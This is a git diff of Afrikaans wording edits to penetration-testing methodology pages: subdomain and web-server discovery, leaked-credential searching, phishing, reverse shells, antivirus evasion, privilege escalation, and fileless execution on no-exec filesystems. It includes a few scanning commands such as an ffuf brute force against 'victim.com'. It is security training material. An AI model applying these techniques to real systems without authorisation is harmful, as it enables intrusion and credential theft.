@@ -442,7 +442,7 @@ Jy kan 'n paar **VHosts in IPs vind met behulp van** [**HostHunter**](https://gi
**Brute Force**
-As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute-force:
+As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute force:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -457,7 +457,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
{% hint style="info" %}
-Met hierdie tegniek kan jy selfs toegang verkry tot interne/verborgene eindpunte.
+Met hierdie tegniek mag jy selfs toegang hê tot interne/verborgene eindpunte.
{% endhint %}
### **CORS Brute Force**
@@ -480,15 +480,15 @@ Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
As die **subdomein** na 'n **S3-emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
-As jy enige **subdomein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
+As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
_Nota dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
## IPs
-In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine** **gevind**.\
-Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-vrae).**
+In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine gevind**.\
+Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-navrae).**
-Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
+Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds aan die kliënt behoort (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
* [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -496,7 +496,7 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
### **Soek na kwesbaarhede**
-**Poortskaande al die IPs wat nie aan CDN's behoort nie** (aangesien jy hoogs waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **kwesbaarhede vind**.
+**Poortskaande al die IPs wat nie aan CDN's behoort nie** (aangesien jy hoogs waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **in staat wees om kwesbaarhede te vind**.
**Vind 'n** [**gids**](../pentesting-network/) **oor hoe om gashere te skandeer.**
@@ -504,12 +504,12 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
> Ons het al die maatskappye en hul bates gevind en ons weet IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om na webbedieners te soek.
-In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om webbedieners** binne die omvang te soek.
+In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike webbedieners gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks sien om webbedieners** binne die omvang te soek.
-Neem asseblief kennis dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**indien toegelaat** deur die omvang).
+Neem asseblief kennis dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**as toegelaat** deur die omvang).
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
-Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
+'n Ander vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -520,11 +520,11 @@ Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** v
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwulnerabiliteite bevat**, en wat nie.
+Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwesbaarhede bevat**, en wat nie.
## Publieke Wolk Bate
-Om potensiële wolk bate wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, 'n crypto vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "", <"subdomein_namme">` gebruik.
+Om potensiële wolk bates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, 'n crypto vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "", <"subdomein_namme">` gebruik.
Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
@@ -536,9 +536,9 @@ Dan, met daardie woorde moet jy **permutasies** genereer (kyk na die [**Tweede R
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
-Onthou dat wanneer jy na Wolk Bate soek, jy moet **kyk na meer as net emmers in AWS**.
+Onthou dat wanneer jy na Wolk Bates soek, jy moet **kyk na meer as net emmers in AWS**.
-### **Soek na kwulnerabiliteite**
+### **Soek na kwesbaarhede**
As jy dinge soos **oop emmers of blootgestelde wolk funksies** vind, moet jy **hulle toegang** en probeer om te sien wat hulle jou bied en of jy hulle kan misbruik.
@@ -551,7 +551,7 @@ Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat j
* API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
* API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
-### **Soek na kwulnerabiliteite**
+### **Soek na kwesbaarhede**
E-posse sal later handig wees om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
@@ -562,7 +562,7 @@ Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredens
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
-### **Soek na kwulnerabiliteite**
+### **Soek na kwesbaarhede**
As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning.
@@ -575,7 +575,7 @@ Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligtin
Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
-**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's** aan dit gegee word, aangesien **webbladsye ook geheime kan bevat**.
+**Leakos** kan ook gebruik word om **gitleaks** teen al die **teks** wat **URL's** aan dit gegee is, te laat loop, aangesien **webbladsye ook geheime kan bevat**.
#### Github Dorks
@@ -587,22 +587,22 @@ Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die
### Paste Leke
-Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste site publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
-Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste sites terselfdertyd te soek.
+Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste-webwerf publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
+Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste-webwerwe gelyktydig te soek.
### Google Dorks
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
-_Ontspan dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie vinnig sal blokkeer._
+_Nota dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie vinnig sal blokkeer._
-### **Soek na kwulnerabiliteite**
+### **Soek na kwesbaarhede**
As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike oorwinning.
-## Publieke Kode Kwulnerabiliteite
+## Publieke Kode Kwesbaarhede
-As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwulnerabiliteite** daarin.
+As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
**Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
@@ -616,9 +616,9 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
-Die **meerderheid van die kwulnerabiliteite** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
+Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
-Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwulnerabiliteite sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
+Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
## Herhaling
@@ -626,11 +626,11 @@ Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde
So jy het reeds:
-1. Alle **maatskappye** in die omvang gevind
+1. Alle **maatskappye** binne die omvang gevind
2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar kwesbaarheid skandeer as dit in omvang is)
3. Alle **domeine** wat aan die maatskappye behoort gevind
4. Alle **subdomeine** van die domeine gevind (enige subdomein oorneem?)
-5. Alle **IP's** (van en **nie van CDN's**) in die omvang gevind.
+5. Alle **IP's** (van en **nie van CDN's**) binne die omvang gevind.
6. Alle **webbedieners** gevind en 'n **skermskoot** daarvan geneem (iets vreemd wat 'n dieper kyk werd is?)
7. Alle **potensiële publieke wolk bates** wat aan die maatskappy behoort gevind.
8. **E-posse**, **kredensiaal leke**, en **geheime leke** wat jou 'n **groot oorwinning baie maklik kan gee**.
@@ -649,7 +649,7 @@ Daar is verskeie gereedskap daar buite wat 'n deel van die voorgestelde aksies t
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
+
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md
index b92604087..976390573 100644
--- a/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/generic-methodologies-and-resources/pentesting-methodology.md
@@ -10,14 +10,14 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -42,7 +42,7 @@ Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy daarin slaag om toegang
### **2-** [**Geniet die netwerk**](pentesting-network/) **(Intern)**
**Hierdie afdeling geld slegs as jy 'n interne toets uitvoer.**\
-Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Network**](pentesting-network/#sniffing) lees.
+Voordat jy 'n host aanval, mag jy verkies om **'n paar akrediteerbare inligting** **van die netwerk** te **steel** of **data** te **sniff** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Netwerk**](pentesting-network/#sniffing) lees.
### 3- [Poort Skandering - Diens ontdekking](pentesting-network/#scanning-hosts)
@@ -61,7 +61,7 @@ As daar nie enige fancy exploit vir enige lopende diens is nie, moet jy soek na
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deel (aangesien dit die mees uitgebreide een is).**\
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
-**As jou diens nie in die indeks is nie, soek in Google** vir ander tutoriaal en **laat my weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
+**As jou diens nie in die indeks is nie, soek in Google** vir ander tutorials en **laat my weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde** (indien enige) **te lees**.
#### 5.1 Outomatiese Gereedskap
@@ -73,13 +73,13 @@ In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens** te **ko
### 6- [Phishing](phishing-methodology/)
-As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, **moet jy dalk probeer om 'n paar phishing** te doen om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/) lees:
+As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, mag jy **moet probeer om 'n paar phishing** te doen om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/) lees:
### **7-** [**Kry Shell**](reverse-shells/)
Op een of ander manier moet jy 'n **manier gevind het om kode** in die slagoffer uit te voer. Dan, [‘n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde shell te kry, sal baie nuttig wees](reverse-shells/).
-Veral in Windows mag jy hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
+Veral in Windows mag jy 'n bietjie hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
### 8- Binne
@@ -91,32 +91,32 @@ As jy probleme met die shell het, kan jy hier 'n klein **samestelling van die nu
### **9 -** [**Exfiltrasie**](exfiltration.md)
-Jy sal waarskynlik moet **data van die slagoffer onttrek** of selfs **iets inbring** (soos privilige eskalasie skripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
+Jy sal waarskynlik moet **data van die slagoffer onttrek** of selfs **iets** (soos voorregverhoging skripte) **invoer**. **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
-### **10- Privilege Eskalasie**
+### **10- Voorregverhoging**
#### **10.1- Plaaslike Privesc**
-As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind om **privileges te eskaleer.**\
-Hier kan jy 'n **gids vind om privileges plaaslik in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)** te eskaleer.**\
+As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind om **voorregte te verhoog.**\
+Hier kan jy 'n **gids vind om voorregte plaaslik in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)** te verhoog.**\
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
-* [**Authentisering, Akrediteer, Token privileges en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
+* [**Verifikasie, Akrediteerbare inligting, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Hoe [**NTLM werk**](../windows-hardening/ntlm/)
-* Hoe om [**akrediteer te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
+* Hoe om [**akrediteerbare inligting te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
* Sommige truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
-**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Privilege Eskalasie paaie te enumerate nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Voorregverhoging paaie te enumerate nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domein Privesc**
-Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, privileges te eskaleer en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
+Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, voorregte te verhoog en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
### 11 - POST
#### **11**.1 - Plundering
-Kyk of jy meer **wagwoorde** binne die host kan vind of as jy **toegang het tot ander masjiene** met die **privileges** van jou **gebruiker**.\
+Kyk of jy meer **wagwoorde** binne die host kan vind of as jy **toegang het tot ander masjiene** met die **voorregte** van jou **gebruiker**.\
Vind hier verskillende maniere om [**wagwoorde in Windows te dump**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Volharding
@@ -128,9 +128,9 @@ TODO: Voltooi volharding Post in Windows & Linux
### 12 - Pivoting
-Met die **versamelde akrediteer** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
-In hierdie geval kan tonnelering nodig wees. Hier kan jy [**'n pos oor tonnelering vind**](tunneling-and-port-forwarding.md).\
-Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, privileges te eskaleer en akrediteer te dump.\
+Met die **versamelde akrediteerbare inligting** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
+In hierdie geval kan tonneling nodig wees. Hier kan jy [**'n pos oor tonneling vind**](tunneling-and-port-forwarding.md).\
+Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, voorregte te verhoog en akrediteerbare inligting te dump.\
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om op Windows omgewings te pivot.
### MEER
@@ -151,9 +151,9 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -167,7 +167,7 @@ Leer & oefen GCP Hacking:
{% endhint %}
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index 8ed4b4525..7a3cdbdba 100644
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -15,7 +15,7 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
@@ -45,15 +45,15 @@ securityContext:
command: ["sh", "-c", "while true; do sleep 1000; done"]
-Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
+Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie enigiets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
{% hint style="warning" %}
-Van 'n rooi span perspektief maak dit **moeilik om** binêre te aflaai en uit te voer wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
+Van 'n rooi span perspektief maak dit **moeilik om binêre te aflaai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
{% endhint %}
## Easiest bypass: Scripts
-Let daarop dat ek binêre genoem het, jy kan **enige skrip uitvoer** solank die interpreter binne die masjien is, soos 'n **shell skrip** as `sh` teenwoordig is of 'n **python** **skrip** as `python` geïnstalleer is.
+Let daarop dat ek binêre genoem het, jy kan **enige script uitvoer** solank die interpreter binne die masjien is, soos 'n **shell script** as `sh` teenwoordig is of 'n **python** **script** as `python` geïnstalleer is.
Tog is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê om te loop, uit te voer nie.
@@ -63,24 +63,24 @@ As jy 'n binêre wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die b
### FD + exec syscall bypass
-As jy 'n paar kragtige skrip enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
+As jy 'n paar kragtige script enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
-Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **dekodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
+Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n script in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **decodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
{% hint style="warning" %}
-Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n skrip aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
+Dit werk nie in ander skripting tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n script aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
-Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit te laat loop nie omdat die **no-exec beskerming** van toepassing sal wees.
+Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die **no-exec beskerming** van toepassing sal wees.
{% endhint %}
### DDexec / EverythingExec
-[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om **die geheue van jou eie proses** te verander deur sy **`/proc/self/mem`** te oorskryf.
+[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om die **geheue van jou eie proses** te modifiseer deur sy **`/proc/self/mem`** te oorskryf.
-Daarom, **beheer die assembly kode** wat deur die proses uitgevoer word, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
+Daarom, deur **die samestelling kode** wat deur die proses uitgevoer word, te beheer, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
{% hint style="success" %}
-**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** uit **geheue** te laai en **uit te voer**.
+**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** van **geheue** te laai en **uit te voer**.
{% endhint %}
```bash
# Basic example
@@ -94,7 +94,7 @@ For more information about this technique check the Github or:
### MemExec
